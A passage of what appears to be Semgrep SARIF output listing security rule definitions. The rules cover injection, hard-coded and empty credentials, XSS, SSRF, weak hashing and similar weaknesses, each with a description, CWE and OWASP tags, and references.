Switch back to another user after running commands as 'root'."},"helpUri":"https://semgrep.dev/r/dockerfile.security.last-user-is-root.last-user-is-root","id":"dockerfile.security.last-user-is-root.last-user-is-root","name":"dockerfile.security.last-user-is-root.last-user-is-root","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","MEDIUM CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: dockerfile.security.last-user-is-root.last-user-is-root"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"help":{"markdown":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df](https://shirazkhan030.medium.com/biometric-authentication-in-ios-6c53c54f17df)\n","text":"The application was observed to leverage biometrics via Local Authentication, which returns a simple boolean result for authentication. This design is subject to bypass with runtime tampering tools such as Frida, Substrate, and others. Although this is limited to rooted (jailbroken) devices, consider implementing biometric authentication the reliable way - via Keychain Services."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.local-biometrics.insecure-biometrics","id":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","name":"swift.biometrics-and-auth.local-biometrics.insecure-biometrics","properties":{"precision":"very-high","tags":["CWE-305: Authentication Bypass by Primary Weakness","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.local-biometrics.insecure-biometrics"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec)\n - [https://guides.rubyonrails.org/security.html#command-line-injection](https://guides.rubyonrails.org/security.html#command-line-injection)\n","text":"Detected non-static command inside $EXEC. Audit the input to '$EXEC'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-exec.dangerous-exec","id":"ruby.lang.security.dangerous-exec.dangerous-exec","name":"ruby.lang.security.dangerous-exec.dangerous-exec","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-exec.dangerous-exec"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","id":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","name":"rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.sqlx.mysql-connection-empty-password.mysql-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"help":{"markdown":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag)\n - [https://www.developsec.com/2017/11/09/xss-in-a-script-tag/](https://www.developsec.com/2017/11/09/xss-in-a-script-tag/)\n - [https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68](https://github.com/juice-shop/juice-shop/blob/1ceb8751e986dacd3214a618c37e7411be6bc11a/routes/videoHandler.ts#L68)\n","text":"Cannot determine what '$UNK' is and it is used with a '<script>' tag. This could be susceptible to cross-site scripting (XSS). Ensure '$UNK' is not externally controlled, or sanitize this data."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","id":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","name":"javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.unknown-value-with-script-tag.unknown-value-with-script-tag"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","id":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","name":"python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.elasticsearch.python-elasticsearch-hardcoded-secret.python-elasticsearch-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for insecure accessing of media content over HTTP connections. This means that images, video, and other media (AVFoundation) data may be accessed via HTTP, potentially leaking that data to others on the local network, or to other network devices the network traffic traverses (proxies, firewalls, load balancers, etc)."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","id":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","name":"swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-media-load.ATS-insecure-media-loads"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"help":{"markdown":"If unverified user data can reach the `exec` method it can result in Remote Code Execution\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"If unverified user data can reach the `exec` method it can result in Remote Code Execution"},"helpUri":"https://semgrep.dev/r/javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","id":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","name":"javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.shelljs.security.shelljs-exec-injection.shelljs-exec-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"help":{"markdown":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Add` inside of an anonymous goroutine may result in `$WG.Wait`\nwaiting for more or less calls to `$WG.Done()` than expected\n"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","id":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","name":"trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-add-called-inside-goroutine.waitgroup-add-called-inside-goroutine"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","id":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","name":"csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.xpath-injection.xpath-taint-grpc.xpath-taint-grpc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"help":{"markdown":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2)\n","text":"IPv4Network.supernet_of is only available on Python 3.7+ and is therefore not backwards compatible. Instead, check if the supernet is in 'supernet'."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-ipv4network2","id":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","name":"python.lang.compatibility.python37.python37-compatibility-ipv4network2","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-ipv4network2"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSH Password detected"},"help":{"markdown":"SSH Password detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"SSH Password detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-ssh-password.detected-ssh-password","id":"generic.secrets.security.detected-ssh-password.detected-ssh-password","name":"generic.secrets.security.detected-ssh-password.detected-ssh-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-ssh-password.detected-ssh-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","id":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","name":"python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.psycopg2.python-psycopg2-empty-password.python-psycopg2-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","id":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","name":"python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-httpx.tainted-fastapi-http-request-httpx"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-code-injection-from-http-request-deepsemgrep.tainted-code-injection-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#subprocess.Popen](https://docs.python.org/3/library/subprocess.html#subprocess.Popen)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","id":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","name":"python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-os-command-stdlib-fastapi-secure-if-array.tainted-os-command-stdlib-fastapi-secure-if-array"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","id":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","name":"java.lang.security.audit.crypto.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n - [https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta](https://wtforms.readthedocs.io/en/2.3.x/meta/#module-wtforms.meta)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is reommended to store and retrieve the secret key from the app config instead. For example `app.config['CSRF_SECRET_KEY'].`"},"helpUri":"https://semgrep.dev/r/python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","id":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","name":"python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.wtforms.web.wtforms-hardcoded-csrf-secret.wtforms-hardcoded-csrf-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."},"help":{"markdown":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.jdo-sqli.jdo-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 